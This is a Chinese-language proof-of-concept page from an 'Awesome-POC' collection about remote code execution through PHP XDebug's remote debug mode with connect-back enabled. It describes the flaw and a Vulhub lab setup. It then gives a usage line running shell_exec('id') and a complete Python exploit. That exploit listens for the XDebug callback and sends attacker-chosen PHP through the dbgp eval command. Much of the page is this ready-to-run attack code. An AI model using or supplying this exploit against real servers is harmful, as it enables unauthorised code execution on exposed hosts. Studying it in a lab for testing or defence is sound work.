Awesome-POC/开发语言漏洞/PHP XDebug 远程调试模式导致代码执行.md
2024-11-06 14:10:36 +08:00

134 lines
3.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# PHP XDebug 远程调试模式导致代码执行
## 漏洞描述
XDebug 是 PHP 的一个扩展,用于调试 PHP 代码。如果目标开启了远程调试模式,并设置 `remote_connect_back = 1`
```
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
```
这个配置下,我们访问 `http://target/index.php?XDEBUG_SESSION_START=phpstorm`,目标服务器的 XDebug 将会连接访问者的 IP`X-Forwarded-For` 头指定的地址)并通过 dbgp 协议与其通信,我们通过 dbgp 中提供的 eval 方法即可在目标服务器上执行任意 PHP 代码。
更多说明可参考:
- https://xdebug.org
- https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface
## 环境搭建
Vulhub 编译及启动测试环境:
```
docker compose build
docker compose up -d
```
启动完成后,访问 `http://your-ip:8080/` 即可发现主页是一个简单的 phpinfo在其中可以找到 xdebug 的配置,可见开启了远程调试。
![](images/PHP%20XDebug%20远程调试模式导致代码执行/image-20240529112232697.png)
## 漏洞复现
因为需要使用 dbgp 协议与目标服务器通信,所以无法用 http 协议复现漏洞。
Vulhub 提供了 [exp.py](https://github.com/vulhub/vulhub/blob/master/php/xdebug-rce/exp.py),指定目标 web 地址、待执行的 php 代码即可:
```
# 要求用python3并安装requests库
python3 exp.py -t http://127.0.0.1:8080/index.php -c 'shell_exec('id');'
```
![](images/PHP%20XDebug%20远程调试模式导致代码执行/image-20240529112516798.png)
**重要说明因为该通信是一个反向连接的过程exp.py 启动后其实是会监听本地的 9000 端口(可通过 -l 参数指定)并等待 XDebug 前来连接,所以执行该脚本的服务器必须有外网 IP或者与目标服务器处于同一内网。**
## 漏洞 POC
exp.py
```python
#!/usr/bin/env python3
import re
import sys
import time
import requests
import argparse
import socket
import base64
import binascii
from concurrent.futures import ThreadPoolExecutor
pool = ThreadPoolExecutor(1)
session = requests.session()
session.headers = {
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'
}
def recv_xml(sock):
blocks = []
data = b''
while True:
try:
data = data + sock.recv(1024)
except socket.error as e:
break
if not data:
break
while data:
eop = data.find(b'\x00')
if eop < 0:
break
blocks.append(data[:eop])
data = data[eop+1:]
if len(blocks) >= 4:
break
return blocks[3]
def trigger(url):
time.sleep(2)
try:
session.get(url + '?XDEBUG_SESSION_START=phpstorm', timeout=0.1)
except:
pass
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='XDebug remote debug code execution.')
parser.add_argument('-c', '--code', required=True, help='the code you want to execute.')
parser.add_argument('-t', '--target', required=True, help='target url.')
parser.add_argument('-l', '--listen', default=9000, type=int, help='local port')
args = parser.parse_args()
ip_port = ('0.0.0.0', args.listen)
sk = socket.socket()
sk.settimeout(10)
sk.bind(ip_port)
sk.listen(5)
pool.submit(trigger, args.target)
conn, addr = sk.accept()
conn.sendall(b''.join([b'eval -i 1 -- ', base64.b64encode(args.code.encode()), b'\x00']))
data = recv_xml(conn)
print('[+] Recieve data: ' + data.decode())
g = re.search(rb'<\!\[CDATA\[([a-z0-9=\./\+]+)\]\]>', data, re.I)
if not g:
print('[-] No result...')
sys.exit(0)
data = g.group(1)
try:
print('[+] Result: ' + base64.b64decode(data).decode())
except binascii.Error:
print('[-] May be not string result...')
```